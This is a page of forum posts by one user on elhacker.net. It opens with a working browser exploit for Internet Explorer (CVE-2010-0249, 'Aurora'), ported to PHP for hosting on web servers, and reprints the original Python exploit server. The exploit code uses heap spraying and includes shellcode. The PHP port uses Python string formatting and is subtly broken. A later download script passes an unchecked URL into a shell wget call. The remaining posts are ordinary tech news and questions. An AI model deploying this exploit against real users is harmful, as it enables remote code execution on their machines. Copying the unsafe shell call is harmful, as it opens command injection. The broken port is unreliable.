elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Temas
Páginas: 1 ... 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [26] 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
251  Seguridad Informática / Bugs y Exploits / Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8) en: 11 Diciembre 2011, 23:48 pm
Estaba revisando el CVE:
http://technet.microsoft.com/en-us/security/advisory/979352

Es una falla de internet explorer 7 y 8 de ejecución remota de código.
Encontré un código de ejemplo en packetstorm pero en python llamado "aurora" asi que lo estudié y lo migré a php para ejecutarlo de forma online en servidores webs, solo basta con modificar el payload para jugar un poco con recursos remotos .js autoejecutables.

Testeado en virtual con windows 7 internet explorer 8 y windows xp internet explorer 6.

Código
  1. <?php
  2. if(isset($_GET['aurora'])){
  3. header('Content-Type: image/gif');
  4. echo "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff".
  5. "\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44".
  6. "\x01\x00\x3b";
  7. }
  8.  
  9. function convert_to_utf16($payload){
  10. $enc_payload = '';
  11. foreach(range(0, strlen($payload), 2) as $i){
  12. $num = 0;
  13. foreach(range(0, 2) as $j){
  14. $num = $num + ((ord($payload[$i + $j]) & 0xff) << ($j * 8));
  15. }
  16. if($num > 0)
  17. $enc_payload .= ('%%u%04x' % $num);
  18. }
  19. return $enc_payload;
  20. }
  21. ?>
  22. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  23. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  24. <head>
  25. <script>
  26. var obj, event_obj;
  27.  
  28. function spray_heap(){
  29. var chunk_size, payload, nopsled;
  30. chunk_size = 0x80000;
  31. payload = unescape("<?php echo convert_to_utf16(
  32. "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73".
  33. "\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e".
  34. "\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a".
  35. "\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97".
  36. "\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56".
  37. "\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85".
  38. "\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1".
  39. "\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85".
  40. "\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02".
  41. "\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e".
  42. "\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61".
  43. "\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e"
  44. ); ?>");
  45. nopsled = unescape("%u0a0a%u0a0a");
  46. while (nopsled.length < chunk_size)
  47. nopsled += nopsled;
  48. nopsled_len = chunk_size - (payload.length + 20);        
  49. nopsled = nopsled.substring(0, nopsled_len);
  50. heap_chunks = new Array();
  51. for (var i = 0 ; i < 200 ; i++)
  52. heap_chunks[i] = nopsled + payload;
  53. }
  54.  
  55. function initialize(){
  56. obj = new Array();
  57. event_obj = null;
  58. for (var i = 0; i < 200 ; i++ )
  59. obj[i] = document.createElement("COMMENT");
  60. }
  61.  
  62. function ev1(evt){
  63. event_obj = document.createEventObject(evt);
  64. document.getElementById("sp1").innerHTML = "";
  65. window.setInterval(ev2, 1);
  66. }
  67.  
  68. function ev2(){
  69. var data, tmp;
  70. data = "";
  71. tmp = unescape("%u0a0a%u0a0a");
  72. for (var i = 0 ; i < 4 ; i++)
  73. data += tmp;
  74. for (i = 0 ; i < obj.length ; i++ )
  75. obj[i].data = data;
  76. event_obj.srcElement;
  77. }
  78.  
  79. function check(){
  80. if (navigator.userAgent.indexOf("MSIE") == -1)
  81. return false;
  82. return true;  
  83. }
  84.  
  85. if(check()){
  86. initialize();
  87. spray_heap();              
  88. }else
  89. window.location = "about:blank";
  90. </script>
  91. </head>
  92. <body>
  93. <span id="sp1">
  94. <img src="?aurora" onload="ev1(event);">
  95. </span>        
  96. </body>
  97. </html>

El exploit original en python:
http://packetstormsecurity.org/1001-exploits/ie_aurora.py.txt
Código
  1. #
  2. #   Author : Ahmed Obied (ahmed.obied@gmail.com)
  3. #
  4. #   This program acts as a web server that generates an exploit to
  5. #   target a vulnerability (CVE-2010-0249) in Internet Explorer.
  6. #   The exploit was tested using Internet Explorer 6 on Windows XP SP2.
  7. #   The exploit's payload spawns the calculator.
  8. #
  9. #   Usage  : python ie_aurora.py [port number]
  10. #  
  11.  
  12. import sys
  13. import socket
  14.  
  15. from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
  16.  
  17. class RequestHandler(BaseHTTPRequestHandler):
  18.  
  19.    def convert_to_utf16(self, payload):
  20.        enc_payload = ''
  21.        for i in range(0, len(payload), 2):
  22.            num = 0
  23.            for j in range(0, 2):
  24.                num += (ord(payload[i + j]) & 0xff) << (j * 8)
  25.            enc_payload += '%%u%04x' % num
  26.        return enc_payload
  27.  
  28.    def get_payload(self):
  29.        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
  30.        # http://metasploit.com
  31.        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
  32.        payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
  33.        payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
  34.        payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
  35.        payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
  36.        payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
  37.        payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
  38.        payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
  39.        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
  40.        payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
  41.        payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
  42.        payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
  43.        return self.convert_to_utf16(payload)
  44.  
  45.    def get_exploit(self):
  46.        exploit = '''
  47.        <html>
  48.        <head>
  49.            <script>
  50.  
  51.            var obj, event_obj;
  52.  
  53.            function spray_heap()
  54.            {
  55.                var chunk_size, payload, nopsled;
  56.  
  57.                chunk_size = 0x80000;
  58.                payload = unescape("<PAYLOAD>");
  59.                nopsled = unescape("<NOP>");
  60.                while (nopsled.length < chunk_size)
  61.                    nopsled += nopsled;
  62.                nopsled_len = chunk_size - (payload.length + 20);        
  63.                nopsled = nopsled.substring(0, nopsled_len);
  64.                heap_chunks = new Array();
  65.                for (var i = 0 ; i < 200 ; i++)
  66.                    heap_chunks[i] = nopsled + payload;
  67.            }
  68.  
  69.            function initialize()
  70.            {
  71.                obj = new Array();
  72.                event_obj = null;
  73.                for (var i = 0; i < 200 ; i++ )
  74.                    obj[i] = document.createElement("COMMENT");
  75.            }
  76.  
  77.            function ev1(evt)
  78.            {
  79.                event_obj = document.createEventObject(evt);
  80.                document.getElementById("sp1").innerHTML = "";
  81.                window.setInterval(ev2, 1);
  82.            }
  83.  
  84.            function ev2()
  85.            {
  86.                var data, tmp;
  87.  
  88.                data = "";
  89.                tmp = unescape("%u0a0a%u0a0a");
  90.                for (var i = 0 ; i < 4 ; i++)
  91.                    data += tmp;
  92.                for (i = 0 ; i < obj.length ; i++ ) {
  93.                    obj[i].data = data;
  94.                }
  95.                event_obj.srcElement;
  96.            }
  97.  
  98.            function check()
  99.            {
  100.                if (navigator.userAgent.indexOf("MSIE") == -1)
  101.                    return false;
  102.                return true;  
  103.            }
  104.  
  105.            if (check()) {
  106.                initialize();
  107.                spray_heap();              
  108.            }
  109.            else
  110.                window.location = 'about:blank'
  111.  
  112.            </script>
  113.        </head>
  114.        <body>
  115.            <span id="sp1">
  116.            <img src="aurora.gif" onload="ev1(event)">
  117.            </span>        
  118.        </body>
  119.        </html>
  120.        '''
  121.        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
  122.        exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
  123.        return exploit
  124.  
  125.    def get_image(self):
  126.        content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
  127.        content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
  128.        content += '\x01\x00\x3b'
  129.        return content
  130.  
  131.    def log_request(self, *args, **kwargs):
  132.        pass
  133.  
  134.    def do_GET(self):
  135.        try:
  136.            if self.path == '/':
  137.                print
  138.                print '[-] Incoming connection from %s' % self.client_address[0]
  139.                self.send_response(200)
  140.                self.send_header('Content-Type', 'text/html')
  141.                self.end_headers()
  142.                print '[-] Sending exploit to %s ...' % self.client_address[0]
  143.                self.wfile.write(self.get_exploit())
  144.                print '[-] Exploit sent to %s' % self.client_address[0]
  145.            elif self.path == '/aurora.gif':      
  146.                self.send_response(200)
  147.                self.send_header('Content-Type', 'image/gif')
  148.                self.end_headers()
  149.                self.wfile.write(self.get_image())
  150.        except:
  151.            print '[*] Error : an error has occured while serving the HTTP request'
  152.            print '[-] Exiting ...'
  153.            sys.exit(-1)
  154.  
  155.  
  156. def main():
  157.    if len(sys.argv) != 2:
  158.        print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
  159.        sys.exit(0)
  160.    try:
  161.        port = int(sys.argv[1])
  162.        if port < 1024 or port > 65535:
  163.            raise ValueError
  164.        try:
  165.            serv = HTTPServer(('', port), RequestHandler)
  166.            ip = socket.gethostbyname(socket.gethostname())
  167.            print '[-] Web server is running at http://%s:%d/' % (ip, port)
  168.            try:
  169.                serv.serve_forever()
  170.            except:
  171.                print '[-] Exiting ...'
  172.        except socket.error:
  173.            print '[*] Error : a socket error has occurred'
  174.        sys.exit(-1)    
  175.    except ValueError:
  176.        print '[*] Error : an invalid port number was given'
  177.        sys.exit(-1)
  178.  
  179. if __name__ == '__main__':
  180.    main()
  181.  
252  Programación / Desarrollo Web / Alternativa al setinterval o sleep en javascript en: 6 Diciembre 2011, 14:02 pm
A veces necesitamos hacer un sleep sin utilizar setinterval o settimeout, me ha pasado a mi por diferentes motivos y se me ocurrió hacer un pequeño script que utiliza animaciones para retardar la ejecución del resto del código, se que no es algo nuevo pero talves le pueda servir a algunos

Código
  1. <head>
  2. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
  3. </head>
  4. <body>
  5. $(document).ready(function(){
  6. function check(){
  7. /* Mi código acá */
  8.  
  9. /* sleep */
  10. $('#sleep').fadeOut('slow', function(){
  11. $('#sleep').fadeIn('slow', check());
  12. });
  13. }
  14. check();
  15. });
  16. </script>
  17. Verificando <span id="sleep">_</span>
  18. </body>
  19. </html>

Un reloj con esto:
Código
  1. <head>
  2. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
  3. </head>
  4. <body>
  5. $(document).ready(function(){
  6. function check(){
  7. var h = new Date();
  8. $('#reloj').text(h.getHours() + ':' + h.getMinutes() + ':' + h.getSeconds());
  9. /* sleep */
  10. $('#sleep').fadeOut(1000, function(){ /* 1 segundo de intervlo */
  11. $('#sleep').fadeIn(0, check());
  12. });
  13. }
  14. check();
  15. });
  16. </script>
  17. Reloj: <span id="reloj"></span> <span id="sleep"></span>
  18. </body>
  19. </html>

Saludos.
253  Foros Generales / Foro Libre / Hackearon el twitter de Movistar (Chile) en: 2 Diciembre 2011, 15:36 pm
Uno se encuentra con cada cosa cuando enciende la pc xD



Los que tengan una cuenta de twitter recuerden nunca dar datos cuando te los soliciten por correo y pongan siempre contraseñas seguras, por lo menos de 7 carácteres con letras y números.
254  Foros Generales / Foro Libre / A Facebook no le agrada firefox? en: 30 Noviembre 2011, 18:03 pm
No es la primera ves, ya muchas veces que uno quiere ver facebook pareciera que la hoja de estilo no existe y se ve todo mal, solo textos sueltos o se desconfiguran los bloques.

A pesar de que esto suceda una ves al mes o menos lo raro es que solamente le afecta a mozilla firefox y no es un problema de caché.



Será algo relacionado con la alianza de microsoft y facebook? habrán "incentivos" para que facebook decida hacer que la gente cambie de explorador?

La consola de errores de firefox se dispara cuando cargo la página:
Citar
Error: CSS is not defined Código Fuente: http://www.facebook.com/ Linea: 19
Error: Bootloader is not defined Código Fuente: http://www.facebook.com/ Linea: 20
Error: BigPipe is not defined Código Fuente: http://www.facebook.com/ Linea: 27
Error: Arbiter is not defined Código Fuente: http://www.facebook.com/ Linea: 63
Error: Image corrupt or truncated: <unknown> Código Fuente: <unknown> Linea: 0
....

Es normal que tengan fallas o estén arreglando partes, pero que solo ocurra con firefox? no será un intento de sepultar a uno de sus mayores competidores?
255  Comunicaciones / Android / No puedo actualizar firmware de motorola charm mb502 en: 19 Noviembre 2011, 23:46 pm


Me pasaron un motorola de un amigo porque le actualizaron el firmware y ahora no funciona el wifi, dice que no se pudo iniciar el dispositivo.

Quería volver a instalar otro rom pero me ha costado trabajo encontrar algo que le pueda servir.

Encontré esta web:
http://and-developers.com/sbf:mb502

Me bajé el rom version Blur_Version.0.2.6005.MB502.T-Mobile.en.US
El original que tiene este cel es Blur_version.0.0.2397.MB502.TELUS.en.CA

Pero cuando lo reinicio y entro a la consola de recuperación le marco la opción que dice
apply sdcard:update.zip


y cominzan a salir letras amarillas muy rapidisimo y al final vuelve al mismo menú despues de 2 segundos y no alcanzo a ver nada de lo que decia y no se puede bajar la pantalla.

Le puse el rom en un zip con el nombre de update y sin comprimir también con el mismo nombre pero no pasa nada :-/

Alguien sabe que estoy haciendo mal o que puedo hacer al respecto?, he encontrado muy poca información sobre el reseteo del mb502, igual traté de darle la opción de volver a estado de fabrica desde el mismo menú de recuperación y se resetea todo menos el sistema operativo.
256  Programación / PHP / Script para descargar todo dragon ball y dragon ball z en tu servidor en: 19 Noviembre 2011, 20:56 pm
Estaba viendo dragon ball desde dblatino.com y vi que casi todos los enlaces tienen el mismo formato y visualización y 4shared tiene visualización directa de archivos flv asi que hize un script y estoy descargando todos los archivos  :D

Talves le sirva a alguien si quieren tenerlo en sus sevidores para no tener que andar haciendo streaming

Lo único que hay que hacer es crear un directorio llamado "out" al lado del archivo php y darle permisos de escritura.
El script se ejecuta preferentemente desde la consola

Código
  1. <?php
  2. ini_set('memory_limit','16M');
  3.  
  4. echo "\nCargando configuraciones y creando enlaces...\n";
  5.  
  6. echo ".";
  7. /* Matriz de enlaces */
  8. $enlaces = array(
  9. 'base_url' => 'http://www.dblatino.com/dbz/',
  10. 'limite' => 291
  11. ),
  12. 'base_url' => 'http://www.dblatino.com/db/',
  13. 'limite' => 153
  14. )
  15. );
  16.  
  17. /* Matiz de enlaces compuestos */
  18. foreach($enlaces as $enlace){
  19. $links = array();
  20. for($cuenta = 1; $cuenta <= $enlace['limite']; $cuenta++){
  21. echo ".";
  22. $links[] = array(
  23. 'href' => $enlace['base_url'].(int)$cuenta.'.htm',
  24. 'out' => (int)$cuenta.'.flv'
  25. );
  26. $links[] = array(
  27. 'href' => $enlace['base_url'].(int)$cuenta.'b.htm',
  28. 'out' => (int)$cuenta.'b.flv'
  29. );
  30. }
  31. unset($enlace);
  32. }
  33. unset($enlaces);
  34.  
  35.  
  36.  
  37. echo "\nProcesando enlaces...\n";
  38. foreach($links as $enlace){
  39. echo "Procesando ".$enlace['href']." ...\n";
  40. $buffer = file_get_contents($enlace['href']);
  41. /* Es 4shared? */
  42. if(str_replace('4shared.com', '', $buffer) != $buffer){
  43. $buffer = explode('<embed src="http://www.4shared.com/', $buffer);
  44. $buffer = explode('"', $buffer[1]);
  45. $buffer = 'http://www.4shared.com/'.$buffer[0];
  46.  
  47. /* Solicita la url del flv */
  48. echo "    Solicitando enlace real *.flv...\n";
  49. $buffer,
  50. false,
  51. stream_context_create(array('http' => array('method' => 'HEAD')))
  52. );
  53.  
  54. /* Filtra la redirección */
  55. foreach($http_response_header as $header){
  56. $head = explode(': ', $header);
  57. if(strtolower($head[0]) == 'location'){
  58. $buffer = $head[1];
  59. break;
  60. }
  61. unset($head, $header);
  62. }
  63.  
  64. if(substr($buffer, 0, 14) == 'http://static.'){ /* Es stream? */
  65. $buffer = explode('streamer=', $buffer);
  66. $buffer = explode('.flv', $buffer[1]);
  67. $buffer = $buffer[0].'.flv';
  68.  
  69. /* Obtiene el video */
  70. echo "    Descargando el video...\n";
  71. system('wget '.$buffer.' -O "'.dirname(__file__).'/out/'.$enlace['out'].'"');
  72. if(file_exists(dirname(__file__).'/out/'.$enlace['out']))
  73. echo "    Video descargado y guardado correctamente.\n";
  74. else
  75. echo "    Imposible descargar archivo.\n";
  76. /*
  77. if($buffer = file_get_contents($buffer)){
  78. // Guarda el video
  79. echo "    Guardando...\n";
  80. if(file_put_contents(dirname(__file__).'/out/'.$enlace['out'], $buffer))
  81. echo "    Video descargado y guardado correctamente.\n";
  82. else
  83. echo "    Imposible guardar el archivo.\n";
  84. unset($buffer); // Libera la memoria
  85. }else
  86. echo "    Imposible descargar archivo.\n";
  87. */
  88. }else
  89. echo "    Imposible pharsear redireccion.\n";
  90. }else
  91. echo "    El enlace no es 4shared.\n";
  92.  
  93. unset($enlace);
  94. }
  95. unset($links);
  96.  
  97. ?>

Preferí usar wget para poder ir viendo el progreso de descarga y evitar sobrecargas.
Si alguien lo quiere hechar a correr en una pc con windows puede adjuntar el wget.exe que por ahi anda en internet.
Enjoy.
257  Programación / .NET (C#, VB.NET, ASP) / Descargar archivo sin que se frize el form en: 4 Octubre 2011, 05:34 am
Siempre he hecho aplicaciones en .net descargando archivos pero ahora necesito si o si que no se me frize el form mientras se descarga algo.

Normalmente cuando ejecutas request.GetResponse() en un objeto WebRequest el form se congela y cuando finaliza la respuesta del servidor ahi recién se descongela.

Recuerdo hace años que en vb6 eso no pasaba, uno porque usabas control de usuarios para los sockets y todo era con subs en hilos de proceso y con inet tampoco se frizaba el form, simplemente la función no continuaba pero no comprometía el form.

Como lo hago en .net?

Por ahora hize un pequeño código:
Código
  1. Imports System.IO
  2. Imports System.Net
  3.  
  4. Public Class Form1
  5.  
  6.    Private Sub SalirToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SalirToolStripMenuItem.Click
  7.        End
  8.    End Sub
  9.  
  10.    Private Sub ConectarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ConectarToolStripMenuItem.Click
  11.        Timer1.Enabled = True
  12.        Timer1.Start()
  13.    End Sub
  14.  
  15.    Private Sub Process_data(ByVal Data As String)
  16.        ' Constructor...
  17.    End Sub
  18.  
  19.    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  20.        Estado.Text = "Conectando ..."
  21.        Application.DoEvents()
  22.        ' Create a request for the URL.
  23.        Dim request As WebRequest = WebRequest.Create("http://wordpress.org/latest.zip")
  24.        ' If required by the server, set the credentials.
  25.        request.Credentials = CredentialCache.DefaultCredentials
  26.        ' Get the response.
  27.        Dim response As HttpWebResponse = CType(request.GetResponse(), HttpWebResponse)
  28.        ' Display the status.
  29.        Console.WriteLine(response.StatusDescription)
  30.        ' Get the stream containing content returned by the server.
  31.        Dim dataStream As Stream = response.GetResponseStream()
  32.        ' Open the stream using a StreamReader for easy access.
  33.        Dim reader As New StreamReader(dataStream)
  34.        ' Read the content.
  35.        Dim responseFromServer As String = reader.ReadToEnd()
  36.        ' Display the content.
  37.        Dim Content As String = responseFromServer
  38.        ' Cleanup the streams and the response.
  39.        reader.Close()
  40.        dataStream.Close()
  41.        response.Close()
  42.        Process_data(Content)
  43.        Estado.Text = "Datos obtenidos"
  44.    End Sub
  45.  
  46.    Private Sub DesconectarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DesconectarToolStripMenuItem.Click
  47.        Timer1.Enabled = False
  48.        Timer1.Stop()
  49.    End Sub
  50. End Class

Realmente puse ese zip como ejemplo pero en la práctica será un chat y no quiero que rapte el form mientras descarga las actualizaciones cada 4 segundos de un xml.

También intenté con
Código
  1. Response.GetResponseStream().Read(...
Me puse a leer de a 1024 bytes con un application.doevents() pero aun asi, igual se friza el form mientras hace las consultas.
258  Foros Generales / Noticias / Windows 8 podría impedir la instalación de Linux en: 26 Septiembre 2011, 18:09 pm
Un cruce de competencias entre sistemas operativos podría afectar a Linux con la llegada de Windows 8, cuya instalación en cualquier PC podría impedirse tras la certificación del nuevo sistema operativo de Microsoft.

   Esto es debido a que los ordenadores personales diseñados para Windows 8 utilizarán un hardware basado en un nuevo protocolo de arranque, conocido como Unified Extensible Firmware Interface.

   UEFI es una nueva generación de arranque alternativa al estándar BIOS, que previene que se carguen sistemas operativos que no estén aprobados oficialmente por una autoridad certificadora. Esto afecta tanto a fabricantes de software como de hardware, según explica un desarrollador de Red Hat, Matthew Garrett en su blog.

   En esencia, esta tecnología está diseñada para proteger contra 'rootkits' y otros ataques de bajo nivel mediante la restricción de ejecutables y controladores que no lleven la firma dedicada a UEFI, según indica Microsoft en una presentación de Windows 8.

   Esto supondría que los equipos que lleven certificados para el uso de Windows 8 con UEFI, se verían obligados a bloquear el arranque e instalación de otros sistemas operativos, como Linux, hasta que Microsoft los considere como seguros.

   La medida también afectaría a sistemas que utilicen su propia 'kernel' (núcleo), según explica Garrett.

   Esta posible restricción de entrada a otros sistemas como Linux, podría reactivar el debate sobre el cruce de competencias en el mercado informático.

   De momento, se desconoce si Microsoft proveerá a los vendedores soporte de 'firmware' capaz de deshabilitar esta opción, y ejecutar código de otros fabricantes.

Fuente:
http://www.europapress.es/portaltic/software/noticia-windows-podria-impedir-instalacion-linux-20110922133913.html
259  Foros Generales / Noticias / Soporte para CPUs de cuatro núcleos encontrado en Xcode en: 26 Septiembre 2011, 17:58 pm
Aún no tenemos CPUs de doble nucleo en un iPhone, aunque si en el iPad – pero ya se han encontrado referencias en Xcode a procesadores de hasta cuatro núcleos, basados en la arquitectura ARM que mueve los dispositivos iOS de Apple. Xcode es la principal herramienta de desarrollo de software utilizada por Apple en su SDK (y por ende por los desarrolladores de Apps para iOS) y el soporte para este tipo de procesador, probablemente quiera decir que existen prototipos de dispositivos iOS en Apple que tienen una CPU de cuatro núcleos, o incluso que existen Macbooks con CPUs ARM, que es otra de las posibilidades (Aunque mucho más remota).



Lo que vemos sobre estas líneas, son referencias a un tipo de arquitectura ARM llamada armv7k y un tipo de CPU pj4b, que resumiendo, se trata de un procesador ARM de nueva arquitectura y cuatro núcleos. Antes de que nadie se piense cosas raras, no existe la más remota posibilidad de que presenten un iPhone de cuatro núcleos este año, así que nadie sueñe con eso (todavía ;) ) porque este pequeño hallazgo sólo significa que ya se pueden compilar programas para esta arquitectura de ARM, incluso si el hardware aún no existe.

Fuente:
http://blog.drawcoders.com/2011/09/26/soporte-para-cpus-de-cuatro-nucleos-encontrado-en-xcode/
260  Foros Generales / Noticias / En Japón ya existe un botón "Me Gusta" en la vida real en: 26 Septiembre 2011, 17:53 pm

El deseo de muchos en las redes sociales parece convertirse en realidad.  En Japón, una campaña de publicidad montada en un shopping del barrio de Ginza, Tokio, muestra fotos de Rumi Neely, una blogger estadounidense de origen nipón.

Cada foto tiene un contador y un botón físico que dice “Me Gusta”, el cual puede ser oprimido por cualquier persona que quiera y así sumar “Likes” a la imagen.

La idea de la campaña fue creada por el fotógrafo de moda Leslie Kee junto a la bloguera Neely y muestra una colección de 20 imágenes de la bloguera fashion, lo que parece haber sido un éxito rotundo para las ávidas consumidoras de moda japonesas.



Fuente:
http://blog.drawcoders.com/2011/09/26/en-japon-ya-existe-un-boton-%E2%80%9Cme-gusta%E2%80%9D-en-la-vida-real/
Páginas: 1 ... 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [26] 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines